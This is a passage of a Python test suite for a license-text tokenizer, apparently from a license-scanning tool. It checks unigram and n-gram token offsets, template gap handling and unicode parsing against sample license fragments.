start_char=65, end_char=75, value=u'foundation', gap=NO_GAP), Token(start_line=19, end_line=19, start_char=2, end_char=3, value=u'n', gap=NO_GAP), Token(start_line=20, end_line=20, start_char=1, end_char=4, value=u'inc', gap=NO_GAP), Token(start_line=20, end_line=20, start_char=7, end_char=9, value=u'51', gap=NO_GAP), Token(start_line=20, end_line=20, start_char=10, end_char=18, value=u'franklin', gap=NO_GAP), Token(start_line=20, end_line=20, start_char=19, end_char=21, value=u'st', gap=NO_GAP), Token(start_line=20, end_line=20, start_char=23, end_char=28, value=u'fifth', gap=NO_GAP), Token(start_line=20, end_line=20, start_char=29, end_char=34, value=u'floor', gap=NO_GAP), Token(start_line=20, end_line=20, start_char=36, end_char=42, value=u'boston', gap=NO_GAP), Token(start_line=20, end_line=20, start_char=44, end_char=46, value=u'ma', gap=NO_GAP), Token(start_line=20, end_line=20, start_char=47, end_char=52, value=u'02110', gap=NO_GAP), Token(start_line=20, end_line=20, start_char=54, end_char=57, value=u'usa', gap=NO_GAP), ] test_file = self.get_test_loc('analysis/unicode/12180.txt') with codecs.open(test_file, encoding='utf-8') as test: result = list(self.template_parsing(test)) assert expected == result def test_process_template_does_not_crash_on_unicode_rules_text_1(self): test_file = self.get_test_loc('analysis/unicode/12290.txt') with codecs.open(test_file, encoding='utf-8') as test: list(self.template_parsing(test)) def test_process_template_does_not_crash_on_unicode_rules_text_2(self): test_file = self.get_test_loc('analysis/unicode/12319.txt') with codecs.open(test_file, encoding='utf-8') as test: list(self.template_parsing(test)) def test_process_template_does_not_crash_on_unicode_rules_text_3(self): test_file = self.get_test_loc('analysis/unicode/12405.txt') with codecs.open(test_file, encoding='utf-8') as test: list(self.template_parsing(test)) def test_process_template_does_not_crash_on_unicode_rules_text_4(self): test_file = self.get_test_loc('analysis/unicode/12407.txt') with codecs.open(test_file, encoding='utf-8') as test: list(self.template_parsing(test)) def test_process_template_does_not_crash_on_unicode_rules_text_5(self): test_file = self.get_test_loc('analysis/unicode/12420.txt') with codecs.open(test_file, encoding='utf-8') as test: list(self.template_parsing(test)) def test_process_template_detects_non_well_formed_templatized_regions(self): lines = u'abcd{{ef' self.assertRaises(UnbalancedTemplateError, self.template_parsing, lines) def test_process_template_handles_combination_of_well_formed_and_ill_formed_templates_2(self): lines = u'}}{{{{abc}}ddd}}{{' self.assertRaises(UnbalancedTemplateError, self.template_parsing, lines) def test_process_template_can_parse_ill_formed_template(self): tf = self.get_test_loc('analysis/ill_formed_template/text.txt') lines = unicode_text_lines(tf) result = list(self.template_parsing(lines)) expected_gaps = [30, 10, 60, 70, 20] result_gaps = [x.gap for x in result if x.gap] assert expected_gaps == result_gaps et = self.get_test_loc('analysis/ill_formed_template/expected_grams.json') result_dicts = [t._asdict() for t in result] regen = False if regen: with codecs.open(et, 'w', encoding='utf-8') as out: json.dump(result_dicts, out, indent=2) with codecs.open(et, encoding='utf-8') as inp: expected = json.load(inp) assert expected == result_dicts def test_token_positions_are_kept_same_for_unigrams_and_ngrams_with_template(self): lines = u'some text is some text {{ }} in all cases\n \n' unigrams = unigram_tokenizer(iter([lines]), template=False) tunigrams = unigram_tokenizer(iter([lines]), template=True) ngrams = ngram_tokenizer(iter([lines]), ngram_len=3, template=False) tngrams = ngram_tokenizer(iter([lines]), ngram_len=3, template=True) expected_start_end = (0, 7,) def check_start_end(l): l = list(l) result = (l[0].start, l[-1].end,) assert expected_start_end == result check_start_end(unigrams) check_start_end(tunigrams) check_start_end(ngrams) check_start_end(tngrams) def test_plain_unigrams_from_templated_unigrams(self): lines = [u'My old tailor {{3 John Doe}} is quite very rich'] unigrams = unigram_splitter(lines, splitter=template_splitter) result = list(template_processor(unigrams)) expected = [ Token(start=0, start_line=0, start_char=0, end_line=0, end_char=2, end=0, gap=0, value=u'my'), Token(start=0, start_line=0, start_char=3, end_line=0, end_char=6, end=0, gap=0, value=u'old'), Token(start=0, start_line=0, start_char=7, end_line=0, end_char=13, end=0, gap=3, value=u'tailor'), Token(start=0, start_line=0, start_char=29, end_line=0, end_char=31, end=0, gap=0, value=u'is'), Token(start=0, start_line=0, start_char=32, end_line=0, end_char=37, end=0, gap=0, value=u'quite'), Token(start=0, start_line=0, start_char=38, end_line=0, end_char=42, end=0, gap=0, value=u'very'), Token(start=0, start_line=0, start_char=43, end_line=0, end_char=47, end=0, gap=0, value=u'rich'), ] assert expected == result class TestLegacyNgrams(FileBasedTesting): test_data_dir = os.path.join(os.path.dirname(__file__), 'data') def test_plain_ngrams_processor(self): from collections import deque def ngram_processor(items, ngram_len): """ Given a sequence or iterable of arbitrary items, return an iterator of item ngrams tuples of length ngram_len. Buffers at most ngram_len iterable items. For example:: >>> list(ngram_processor([1, 2, 3, 4, 5], ngram_len=3)) [(1, 2, 3), (2, 3, 4), (3, 4, 5)] """ ngram = deque() current_len = 0 for item in items: if current_len == ngram_len: yield tuple(ngram) ngram.popleft() current_len -= 1 ngram.append(item) current_len += 1 yield tuple(ngram) text = ( u'''/*COMMENT COMMENT COMMENT - COMMENT */ public static boolean activateSearchResultView() { String defaultPerspectiveId= SearchUI.getDefaultPerspectiveId(); if (defaultPerspectiveId != null) { IWorkbenchWindow window= SearchPlugin.getActiveWorkbenchWindow(); if (window != null && window.getShell() != null && !window.getShell().isDisposed()) { try { PlatformUI.getWorkbench().showPerspective(defaultPerspectiveId, window); } catch (WorkbenchException ex) { // show view in current perspective } } }''') expected = [ (u'comment', u'comment', u'comment', u'comment', u'public', u'static'), (u'comment', u'comment', u'comment', u'public', u'static', u'boolean'), (u'comment', u'comment', u'public', u'static', u'boolean', u'activatesearchresultview'), (u'comment', u'public', u'static', u'boolean', u'activatesearchresultview', u'string'), (u'public', u'static', u'boolean', u'activatesearchresultview', u'string', u'defaultperspectiveid'), (u'static', u'boolean', u'activatesearchresultview', u'string', u'defaultperspectiveid', u'searchui'), (u'boolean', u'activatesearchresultview', u'string', u'defaultperspectiveid', u'searchui', u'getdefaultperspectiveid'), (u'activatesearchresultview', u'string', u'defaultperspectiveid', u'searchui', u'getdefaultperspectiveid', u'if'), (u'string', u'defaultperspectiveid', u'searchui', u'getdefaultperspectiveid', u'if', u'defaultperspectiveid'), (u'defaultperspectiveid', u'searchui', u'getdefaultperspectiveid', u'if', u'defaultperspectiveid', u'null'), (u'searchui', u'getdefaultperspectiveid', u'if', u'defaultperspectiveid', u'null', u'iworkbenchwindow'), (u'getdefaultperspectiveid', u'if', u'defaultperspectiveid', u'null', u'iworkbenchwindow', u'window'), (u'if', u'defaultperspectiveid', u'null', u'iworkbenchwindow', u'window', u'searchplugin'), (u'defaultperspectiveid', u'null', u'iworkbenchwindow', u'window', u'searchplugin', u'getactiveworkbenchwindow'), (u'null', u'iworkbenchwindow', u'window', u'searchplugin', u'getactiveworkbenchwindow', u'if'), (u'iworkbenchwindow', u'window', u'searchplugin', u'getactiveworkbenchwindow', u'if', u'window'), (u'window', u'searchplugin', u'getactiveworkbenchwindow', u'if', u'window', u'null'), (u'searchplugin', u'getactiveworkbenchwindow', u'if', u'window', u'null', u'window'), (u'getactiveworkbenchwindow', u'if', u'window', u'null', u'window', u'getshell'), (u'if', u'window', u'null', u'window', u'getshell', u'null'), (u'window', u'null', u'window', u'getshell', u'null', u'window'), (u'null', u'window', u'getshell', u'null', u'window', u'getshell'), (u'window', u'getshell', u'null', u'window', u'getshell', u'isdisposed'), (u'getshell', u'null', u'window', u'getshell', u'isdisposed', u'try'), (u'null', u'window', u'getshell', u'isdisposed', u'try', u'platformui'), (u'window', u'getshell', u'isdisposed', u'try', u'platformui', u'getworkbench'), (u'getshell', u'isdisposed', u'try', u'platformui', u'getworkbench', u'showperspective'), (u'isdisposed', u'try', u'platformui', u'getworkbench', u'showperspective', u'defaultperspectiveid'), (u'try', u'platformui', u'getworkbench', u'showperspective', u'defaultperspectiveid', u'window'), (u'platformui', u'getworkbench', u'showperspective', u'defaultperspectiveid', u'window', u'catch'), (u'getworkbench', u'showperspective', u'defaultperspectiveid', u'window', u'catch', u'workbenchexception'), (u'showperspective', u'defaultperspectiveid', u'window', u'catch', u'workbenchexception', u'ex'), (u'defaultperspectiveid', u'window', u'catch', u'workbenchexception', u'ex', u'show'), (u'window', u'catch', u'workbenchexception', u'ex', u'show', u'view'), (u'catch', u'workbenchexception', u'ex', u'show', u'view', u'in'), (u'workbenchexception', u'ex', u'show', u'view', u'in', u'current'), (u'ex', u'show', u'view', u'in', u'current', u'perspective'), ] unigrams = (x.value for x in unigram_splitter(text.splitlines())) result = list(ngram_processor(unigrams, ngram_len=6)) assert expected == result class TestNgrams(FileBasedTesting): test_data_dir = os.path.join(os.path.dirname(__file__), 'data') def test_tokens_ngram_processor_bigrams_from_unigrams(self): text = u'this is some text \n on multiple lines' unigrams = unigram_splitter(text.splitlines()) result = list(tokens_ngram_processor(unigrams, ngram_len=2)) expected = [ (Token(start_line=0, start_char=0, end_line=0, end_char=4, value=u'this'), Token(start_line=0, start_char=5, end_line=0, end_char=7, value=u'is')), (Token(start_line=0, start_char=5, end_line=0, end_char=7, value=u'is'), Token(start_line=0, start_char=8, end_line=0, end_char=12, value=u'some')), (Token(start_line=0, start_char=8, end_line=0, end_char=12, value=u'some'), Token(start_line=0, start_char=13, end_line=0, end_char=17, value=u'text')), (Token(start_line=0, start_char=13, end_line=0, end_char=17, value=u'text'), Token(start_line=1, start_char=1, end_line=1, end_char=3, value=u'on')), (Token(start_line=1, start_char=1, end_line=1, end_char=3, value=u'on'), Token(start_line=1, start_char=4, end_line=1, end_char=12, value=u'multiple')), (Token(start_line=1, start_char=4, end_line=1, end_char=12, value=u'multiple'), Token(start_line=1, start_char=13, end_line=1, end_char=18, value=u'lines')) ] assert expected == result def test_tokens_ngram_processor_n2_with_2_tokens(self): text = u'this is' unigrams = list(unigram_splitter(text.splitlines())) expected = [ (Token(start_line=0, start_char=0, end_line=0, end_char=4, value=u'this'), Token(start_line=0, start_char=5, end_line=0, end_char=7, value=u'is')), ] result = list(tokens_ngram_processor(iter(unigrams), ngram_len=2)) assert expected == result def test_tokens_ngram_processor_n3_with_2_tokens(self): text = u'this is' unigrams = list(unigram_splitter(text.splitlines())) expected = [ (Token(start_line=0, start_char=0, end_line=0, end_char=4, value=u'this'), Token(start_line=0, start_char=5, end_line=0, end_char=7, value=u'is')), ] result = list(tokens_ngram_processor(iter(unigrams), ngram_len=3)) assert expected == result def test_tokens_ngram_processor_n4_with_2_tokens(self): text = u'this is' unigrams = list(unigram_splitter(text.splitlines())) expected = [ (Token(start_line=0, start_char=0, end_line=0, end_char=4, value=u'this'), Token(start_line=0, start_char=5, end_line=0, end_char=7, value=u'is')), ] result = list(tokens_ngram_processor(iter(unigrams), ngram_len=4)) assert expected == result def test_tokens_ngram_processor_n10_with_2_tokens(self): text = u'this is' unigrams = list(unigram_splitter(text.splitlines())) expected = [ (Token(start_line=0, start_char=0, end_line=0, end_char=4, value=u'this'), Token(start_line=0, start_char=5, end_line=0, end_char=7, value=u'is')), ] result = list(tokens_ngram_processor(iter(unigrams), ngram_len=10)) assert expected == result def test_tokens_ngram_processor_n1_with_2_tokens(self): text = u'this is' unigrams = list(unigram_splitter(text.splitlines())) expected = [ (Token(start_line=0, start_char=0, end_line=0, end_char=4, value=u'this'),), (Token(start_line=0, start_char=5, end_line=0, end_char=7, value=u'is'),), ] result = list(tokens_ngram_processor(iter(unigrams), ngram_len=1)) assert expected == result def test_tokens_ngram_processor_3grams_from_unigrams_on_multilines(self): text = u'this is some text \n on multiple lines' unigrams = unigram_splitter(text.splitlines()) result = list(tokens_ngram_processor(unigrams, ngram_len=3)) expected = [ (Token(start_line=0, start_char=0, end_line=0, end_char=4, value=u'this'), Token(start_line=0, start_char=5, end_line=0, end_char=7, value=u'is'), Token(start_line=0, start_char=8, end_line=0, end_char=12, value=u'some')), (Token(start_line=0, start_char=5, end_line=0, end_char=7, value=u'is'), Token(start_line=0, start_char=8, end_line=0, end_char=12, value=u'some'), Token(start_line=0, start_char=13, end_line=0, end_char=17, value=u'text')), (Token(start_line=0, start_char=8, end_line=0, end_char=12, value=u'some'), Token(start_line=0, start_char=13, end_line=0, end_char=17, value=u'text'), Token(start_line=1, start_char=1, end_line=1, end_char=3, value=u'on')), (Token(start_line=0, start_char=13, end_line=0, end_char=17, value=u'text'), Token(start_line=1, start_char=1, end_line=1, end_char=3, value=u'on'), Token(start_line=1, start_char=4, end_line=1, end_char=12, value=u'multiple')), (Token(start_line=1, start_char=1, end_line=1, end_char=3, value=u'on'), Token(start_line=1, start_char=4, end_line=1, end_char=12, value=u'multiple'), Token(start_line=1, start_char=13, end_line=1, end_char=18, value=u'lines')) ] assert expected == result def test_tokens_ngram_processor_with_template_gaps_basic(self): lines = [u'My old {{3 John Doe}} is rich'] unigrams = unigram_splitter(lines, splitter=template_splitter) templated = template_processor(unigrams) result = list(tokens_ngram_processor(templated, ngram_len=3)) expected = [ (Token(start=0, start_line=0, start_char=0, end_line=0, end_char=2, end=0, gap=0, value=u'my'), Token(start=0, start_line=0, start_char=3, end_line=0, end_char=6, end=0, gap=3, value=u'old'), ), (Token(start=0, start_line=0, start_char=22, end_line=0, end_char=24, end=0, gap=0, value=u'is'), Token(start=0, start_line=0, start_char=25, end_line=0, end_char=29, end=0, gap=0, value=u'rich'), ) ] assert expected == result def test_tokens_ngram_processor_with_template_gaps_merged(self): lines = [u'My old tailor {{3 John Doe}} is quite very rich'] unigrams = unigram_splitter(lines, splitter=template_splitter) templated = template_processor(unigrams) ngram_len = 3 ngrams_tuples = tokens_ngram_processor(templated, ngram_len=ngram_len) result = list(ngram_to_token(ngrams_tuples)) expected = [ Token(start_line=0, start_char=0, end_line=0, end_char=13, gap=ngram_len, value=(u'my', u'old', u'tailor')), Token(start_line=0, start_char=29, end_line=0, end_char=42, gap=0, value=(u'is', u'quite', u'very')), Token(start_line=0, start_char=32, end_line=0, end_char=47, gap=0, value=(u'quite', u'very', u'rich')), ] assert expected == result def test_tokens_ngram_processor_with_gaps_merged_short_grams(self): lines = [u'My {{3 tailor Joe}} is quite {{ pleasant and }} very rich'] unigrams = unigram_splitter(lines, splitter=template_splitter) templated = template_processor(unigrams) ngram_len = 3 ngrams_tuples = tokens_ngram_processor(templated, ngram_len=ngram_len) result = list(ngram_to_token(ngrams_tuples)) expected = [ Token(start=0, start_line=0, start_char=0, end_line=0, end_char=2, end=0, gap=3, value=(u'my',)), Token(start=0, start_line=0, start_char=20, end_line=0, end_char=28, end=0, gap=5, value=(u'is', u'quite')), Token(start=0, start_line=0, start_char=48, end_line=0, end_char=57, end=0, gap=0, value=(u'very', u'rich')) ] assert expected == result def test_tokens_ngram_processor_with_gaps_merged_short_and_long_grams(self): lines = [u'My {{3 tailor Joe}} is quite {{ pleasant and }} very rich really rich'] unigrams = unigram_splitter(lines, splitter=template_splitter) templated = template_processor(unigrams) ngram_len = 3 ngrams_tuples = tokens_ngram_processor(templated, ngram_len=ngram_len) result = list(ngram_to_token(ngrams_tuples)) expected = [ Token(start=0, start_line=0, start_char=0, end_line=0, end_char=2, end=0, gap=3, value=(u'my',)), Token(start=0, start_line=0, start_char=20, end_line=0, end_char=28, end=0, gap=5, value=(u'is', u'quite')), Token(start=0, start_line=0, start_char=48, end_line=0, end_char=64, end=0, gap=0, value=(u'very', u'rich', u'really')), Token(start=0, start_line=0, start_char=53, end_line=0, end_char=69, end=0, gap=0, value=(u'rich', u'really', u'rich')) ] assert expected == result def test_ngram_to_token_processor_with_gaps_at_the_end(self): lines = [u'My {{3 tailor Joe}} is quite {{ pleasant and }}'] unigrams = unigram_splitter(lines, splitter=template_splitter) templated = template_processor(unigrams) ngram_len = 3 ngrams_tuples = tokens_ngram_processor(templated, ngram_len=ngram_len) result = list(ngram_to_token(ngrams_tuples)) expected = [ Token(start=0, start_line=0, start_char=0, end_line=0, end_char=2, end=0, gap=3, value=(u'my',)), Token(start=0, start_line=0, start_char=20, end_line=0, end_char=28, end=0, gap=5, value=(u'is', u'quite')) ] assert expected == result def test_tokens_ngram_processor_with_gaps_at_the_end_does_yield_empty_tuples(self): lines = [u'My {{3 tailor Joe}} is quite {{ pleasant and }}'] unigrams = unigram_splitter(lines, splitter=template_splitter) templated = template_processor(unigrams) ngram_len = 3 result = list(tokens_ngram_processor(templated, ngram_len=ngram_len)) assert (None, None, None,) != result[-1] expected = [ (Token(start=0, start_line=0, start_char=0, end_line=0, end_char=2, end=0, gap=3, value=u'my'),), (Token(start=0, start_line=0, start_char=20, end_line=0, end_char=22, end=0, gap=0, value=u'is'), Token(start=0, start_line=0, start_char=23, end_line=0, end_char=28, end=0, gap=5, value=u'quite'), ) ] assert expected == result def test_ngrams_tokenizer_does_not_yield_4grams_for_3grams(self): lines = u'''Neither the name of {{10 the ORGANIZATION}} nor {{}}the names {{}}of its contributors may materials provided with the distribution.'''.splitlines() result = list(ngram_tokenizer(iter(lines), ngram_len=3, template=True)) expected = [ Token(start=0, start_line=0, start_char=0, end_line=0, end_char=16, end=2, gap=0, value=(u'neither', u'the', u'name')), Token(start=1, start_line=0, start_char=8, end_line=0, end_char=19, end=3, gap=10, value=(u'the', u'name', u'of')), Token(start=4, start_line=0, start_char=44, end_line=0, end_char=47, end=4, gap=5, value=(u'nor',)), Token(start=5, start_line=0, start_char=52, end_line=0, end_char=61, end=6, gap=5, value=(u'the', u'names')), Token(start=7, start_line=0, start_char=66, end_line=0, end_char=85, end=9, gap=0, value=(u'of', u'its', u'contributors')), Token(start=8, start_line=0, start_char=69, end_line=0, end_char=89, end=10, gap=0, value=(u'its', u'contributors', u'may')), Token(start=9, start_line=0, start_char=73, end_line=1, end_char=25, end=11, gap=0, value=(u'contributors', u'may', u'materials')), Token(start=10, start_line=0, start_char=86, end_line=1, end_char=34, end=12, gap=0, value=(u'may', u'materials', u'provided')), Token(start=11, start_line=1, start_char=16, end_line=1, end_char=39, end=13, gap=0, value=(u'materials', u'provided', u'with')), Token(start=12, start_line=1, start_char=26, end_line=1, end_char=43, end=14, gap=0, value=(u'provided', u'with', u'the')), Token(start=13, start_line=1, start_char=35, end_line=1, end_char=56, end=15, gap=0, value=(u'with', u'the', u'distribution')) ] assert expected == result def test_tokens_ngram_processor_with_gaps_merged_always_returns_3grams_when_requested(self): lines = u'''Neither the name of {{10 the ORGANIZATION}} nor {{}}the names {{}}of its contributors may materials provided with the distribution.'''.splitlines() unigrams = unigram_splitter(lines, splitter=template_splitter) templated = template_processor(unigrams) result = list(tokens_ngram_processor(templated, ngram_len=3)) expected = [ (Token(start=0, start_line=0, start_char=0, end_line=0, end_char=7, end=0, gap=0, value=u'neither'), Token(start=0, start_line=0, start_char=8, end_line=0, end_char=11, end=0, gap=0, value=u'the'), Token(start=0, start_line=0, start_char=12, end_line=0, end_char=16, end=0, gap=0, value=u'name')), (Token(start=0, start_line=0, start_char=8, end_line=0, end_char=11, end=0, gap=0, value=u'the'), Token(start=0, start_line=0, start_char=12, end_line=0, end_char=16, end=0, gap=0, value=u'name'), Token(start=0, start_line=0, start_char=17, end_line=0, end_char=19, end=0, gap=10, value=u'of')), (Token(start=0, start_line=0, start_char=44, end_line=0, end_char=47, end=0, gap=5, value=u'nor'),), (Token(start=0, start_line=0, start_char=52, end_line=0, end_char=55, end=0, gap=0, value=u'the'), Token(start=0, start_line=1, start_char=19, end_line=1, end_char=24, end=0, gap=5, value=u'names')), (Token(start=0, start_line=1, start_char=29, end_line=1, end_char=31, end=0, gap=0, value=u'of'), Token(start=0, start_line=1, start_char=32, end_line=1, end_char=35, end=0, gap=0, value=u'its'), Token(start=0, start_line=1, start_char=36, end_line=1, end_char=48, end=0, gap=0, value=u'contributors')), (Token(start=0, start_line=1, start_char=32, end_line=1, end_char=35, end=0, gap=0, value=u'its'), Token(start=0, start_line=1, start_char=36, end_line=1, end_char=48, end=0, gap=0, value=u'contributors'), Token(start=0, start_line=1, start_char=49, end_line=1, end_char=52, end=0, gap=0, value=u'may')), (Token(start=0, start_line=1, start_char=36, end_line=1, end_char=48, end=0, gap=0, value=u'contributors'), Token(start=0, start_line=1, start_char=49, end_line=1, end_char=52, end=0, gap=0, value=u'may'), Token(start=0, start_line=1, start_char=53, end_line=1, end_char=62, end=0, gap=0, value=u'materials')), (Token(start=0, start_line=1, start_char=49, end_line=1, end_char=52, end=0, gap=0, value=u'may'), Token(start=0, start_line=1, start_char=53, end_line=1, end_char=62, end=0, gap=0, value=u'materials'), Token(start=0, start_line=1, start_char=63, end_line=1, end_char=71, end=0, gap=0, value=u'provided')), (Token(start=0, start_line=1, start_char=53, end_line=1, end_char=62, end=0, gap=0, value=u'materials'), Token(start=0, start_line=1, start_char=63, end_line=1, end_char=71, end=0, gap=0, value=u'provided'), Token(start=0, start_line=1, start_char=72, end_line=1, end_char=76, end=0, gap=0, value=u'with')), (Token(start=0, start_line=1, start_char=63, end_line=1, end_char=71, end=0, gap=0, value=u'provided'), Token(start=0, start_line=1, start_char=72, end_line=1, end_char=76, end=0, gap=0, value=u'with'), Token(start=0, start_line=2, start_char=19, end_line=2, end_char=22, end=0, gap=0, value=u'the')), (Token(start=0, start_line=1, start_char=72, end_line=1, end_char=76, end=0, gap=0, value=u'with'), Token(start=0, start_line=2, start_char=19, end_line=2, end_char=22, end=0, gap=0, value=u'the'), Token(start=0, start_line=2, start_char=23, end_line=2, end_char=35, end=0, gap=0, value=u'distribution')) ] assert expected == result def test_tokens_ngram_processor_with_gaps_merged_always_returns_4grams_when_requested(self): lines = u'''Neither the name of {{10 the ORGANIZATION}} nor {{}}the names {{}}of its contributors may materials provided with the distribution.'''.splitlines() unigrams = unigram_splitter(lines, splitter=template_splitter) templated = template_processor(unigrams) result = list(tokens_ngram_processor(templated, ngram_len=4)) expected = [ (Token(start=0, start_line=0, start_char=0, end_line=0, end_char=7, end=0, gap=0, value=u'neither'), Token(start=0, start_line=0, start_char=8, end_line=0, end_char=11, end=0, gap=0, value=u'the'), Token(start=0, start_line=0, start_char=12, end_line=0, end_char=16, end=0, gap=0, value=u'name'), Token(start=0, start_line=0, start_char=17, end_line=0, end_char=19, end=0, gap=10, value=u'of')), (Token(start=0, start_line=0, start_char=44, end_line=0, end_char=47, end=0, gap=5, value=u'nor'),), (Token(start=0, start_line=0, start_char=52, end_line=0, end_char=55, end=0, gap=0, value=u'the'), Token(start=0, start_line=1, start_char=19, end_line=1, end_char=24, end=0, gap=5, value=u'names')), (Token(start=0, start_line=1, start_char=29, end_line=1, end_char=31, end=0, gap=0, value=u'of'), Token(start=0, start_line=1, start_char=32, end_line=1, end_char=35, end=0, gap=0, value=u'its'), Token(start=0, start_line=1, start_char=36, end_line=1, end_char=48, end=0, gap=0, value=u'contributors'), Token(start=0, start_line=1, start_char=49, end_line=1, end_char=52, end=0, gap=0, value=u'may')), (Token(start=0, start_line=1, start_char=32, end_line=1, end_char=35, end=0, gap=0, value=u'its'), Token(start=0, start_line=1, start_char=36, end_line=1, end_char=48, end=0, gap=0, value=u'contributors'), Token(start=0, start_line=1, start_char=49, end_line=1, end_char=52, end=0, gap=0, value=u'may'), Token(start=0, start_line=1, start_char=53, end_line=1, end_char=62, end=0, gap=0, value=u'materials')), (Token(start=0, start_line=1, start_char=36, end_line=1, end_char=48, end=0, gap=0, value=u'contributors'), Token(start=0, start_line=1, start_char=49, end_line=1, end_char=52, end=0, gap=0, value=u'may'), Token(start=0, start_line=1, start_char=53, end_line=1, end_char=62, end=0, gap=0, value=u'materials'), Token(start=0, start_line=1, start_char=63, end_line=1, end_char=71, end=0, gap=0, value=u'provided')), (Token(start=0, start_line=1, start_char=49, end_line=1, end_char=52, end=0, gap=0, value=u'may'), Token(start=0, start_line=1, start_char=53, end_line=1, end_char=62, end=0, gap=0, value=u'materials'), Token(start=0, start_line=1, start_char=63, end_line=1, end_char=71, end=0, gap=0, value=u'provided'), Token(start=0, start_line=1, start_char=72, end_line=1, end_char=76, end=0, gap=0, value=u'with')), (Token(start=0, start_line=1, start_char=53, end_line=1, end_char=62, end=0, gap=0, value=u'materials'), Token(start=0, start_line=1, start_char=63, end_line=1, end_char=71, end=0, gap=0, value=u'provided'), Token(start=0, start_line=1, start_char=72, end_line=1, end_char=76, end=0, gap=0, value=u'with'), Token(start=0, start_line=2, start_char=19, end_line=2, end_char=22, end=0, gap=0, value=u'the')), (Token(start=0, start_line=1, start_char=63, end_line=1, end_char=71, end=0, gap=0, value=u'provided'), Token(start=0, start_line=1, start_char=72, end_line=1, end_char=76, end=0, gap=0, value=u'with'), Token(start=0, start_line=2, start_char=19, end_line=2, end_char=22, end=0, gap=0, value=u'the'), Token(start=0, start_line=2, start_char=23, end_line=2, end_char=35, end=0, gap=0, value=u'distribution')) ] assert expected == result def test_tokens_ngram_processor_with_gaps_can_handle_contiguous_template_regions(self): lines = u'''Neither the name of {{10 the ORGANIZATION}} nor {{}} {{6 }}of its contributors may materials provided with the distribution.'''.splitlines() unigrams = unigram_splitter(lines, splitter=template_splitter) templated = template_processor(unigrams) result = list(tokens_ngram_processor(templated, ngram_len=4)) expected = [ (Token(start=0, start_line=0, start_char=0, end_line=0, end_char=7, end=0, gap=0, value=u'neither'), Token(start=0, start_line=0, start_char=8, end_line=0, end_char=11, end=0, gap=0, value=u'the'), Token(start=0, start_line=0, start_char=12, end_line=0, end_char=16, end=0, gap=0, value=u'name'), Token(start=0, start_line=0, start_char=17, end_line=0, end_char=19, end=0, gap=10, value=u'of')), (Token(start=0, start_line=0, start_char=44, end_line=0, end_char=47, end=0, gap=5, value=u'nor'),), (Token(start=0, start_line=1, start_char=25, end_line=1, end_char=27, end=0, gap=0, value=u'of'), Token(start=0, start_line=1, start_char=28, end_line=1, end_char=31, end=0, gap=0, value=u'its'), Token(start=0, start_line=1, start_char=32, end_line=1, end_char=44, end=0, gap=0, value=u'contributors'), Token(start=0, start_line=1, start_char=45, end_line=1, end_char=48, end=0, gap=0, value=u'may')), (Token(start=0, start_line=1, start_char=28, end_line=1, end_char=31, end=0, gap=0, value=u'its'), Token(start=0, start_line=1, start_char=32, end_line=1, end_char=44, end=0, gap=0, value=u'contributors'), Token(start=0, start_line=1, start_char=45, end_line=1, end_char=48, end=0, gap=0, value=u'may'), Token(start=0, start_line=1, start_char=49, end_line=1, end_char=58, end=0, gap=0, value=u'materials')), (Token(start=0, start_line=1, start_char=32, end_line=1, end_char=44, end=0, gap=0, value=u'contributors'), Token(start=0, start_line=1, start_char=45, end_line=1, end_char=48, end=0, gap=0, value=u'may'), Token(start=0, start_line=1, start_char=49, end_line=1, end_char=58, end=0, gap=0, value=u'materials'), Token(start=0, start_line=1, start_char=59, end_line=1, end_char=67, end=0, gap=0, value=u'provided')), (Token(start=0, start_line=1, start_char=45, end_line=1, end_char=48, end=0, gap=0, value=u'may'), Token(start=0, start_line=1, start_char=49, end_line=1, end_char=58, end=0, gap=0, value=u'materials'), Token(start=0, start_line=1, start_char=59, end_line=1, end_char=67, end=0, gap=0, value=u'provided'), Token(start=0, start_line=1, start_char=68, end_line=1, end_char=72, end=0, gap=0, value=u'with')), (Token(start=0, start_line=1, start_char=49, end_line=1, end_char=58, end=0, gap=0, value=u'materials'), Token(start=0, start_line=1, start_char=59, end_line=1, end_char=67, end=0, gap=0, value=u'provided'), Token(start=0, start_line=1, start_char=68, end_line=1, end_char=72, end=0, gap=0, value=u'with'), Token(start=0, start_line=1, start_char=73, end_line=1, end_char=76, end=0, gap=0, value=u'the')), (Token(start=0, start_line=1, start_char=59, end_line=1, end_char=67, end=0, gap=0, value=u'provided'), Token(start=0, start_line=1, start_char=68, end_line=1, end_char=72, end=0, gap=0, value=u'with'), Token(start=0, start_line=1, start_char=73, end_line=1, end_char=76, end=0, gap=0, value=u'the'), Token(start=0, start_line=2, start_char=19, end_line=2, end_char=31, end=0, gap=0, value=u'distribution')) ] assert expected == result def test_ngram_tokenizer_can_handle_gaps_at_end_of_text(self): lines = [u'Neither the name of {{10 the ORGANIZATION}} '] ngram_len = 2 result = list(ngram_tokenizer(lines, ngram_len, template=True)) expected = [ Token(start=0, start_line=0, start_char=0, end_line=0, end_char=11, end=1, gap=0, value=(u'neither', u'the')), Token(start=1, start_line=0, start_char=8, end_line=0, end_char=16, end=2, gap=0, value=(u'the', u'name')), Token(start=2, start_line=0, start_char=12, end_line=0, end_char=19, end=3, gap=10, value=(u'name', u'of')) ] assert expected == result def test_ngram_tokenizer_returns_correct_offsets_n3(self): lines = [u'X11 License'] ngram_len = 3 result = list(ngram_tokenizer(lines, ngram_len)) assert lines == list(doc_subset(lines, result[0])) expected = [Token(start=0, start_line=0, start_char=0, end_line=0, end_char=11, end=1, gap=0, value=(u'x11', u'license'))] assert expected == result def test_ngram_tokenizer_returns_correct_offsets_n1(self): lines = [u'X11 License'] ngram_len = 1 result = list(ngram_tokenizer(lines, ngram_len)) expected = [ Token(start=0, start_line=0, start_char=0, end_line=0, end_char=3, end=0, gap=0, value=(u'x11',)), Token(start=1, start_line=0, start_char=4, end_line=0, end_char=11, end=1, gap=0, value=(u'license',)), ] assert expected == result def test_ngram_tokenizer_returns_correct_offsets_template(self): lines = [u'X11 License'] ngram_len = 3 result = list(ngram_tokenizer(lines, ngram_len, template=True)) assert lines == list(doc_subset(lines, result[0])) expected = [Token(start=0, start_line=0, start_char=0, end_line=0, end_char=11, end=1, gap=0, value=(u'x11', u'license'))] assert expected == result def test_unicode_text_lines_handles_weird_xml_encodings(self): test_file = self.get_test_loc('analysis/weird_encoding/easyconf-0.9.0.pom') result = list(unicode_text_lines(test_file)) expected_file = self.get_test_loc('analysis/weird_encoding/easyconf-0.9.0.pom.expected') with open(expected_file, 'rb') as tf: expected = cPickle.load(tf) assert expected == result class TestMultigrams(FileBasedTesting): test_data_dir = os.path.join(os.path.dirname(__file__), 'data') # TODO: add more tests 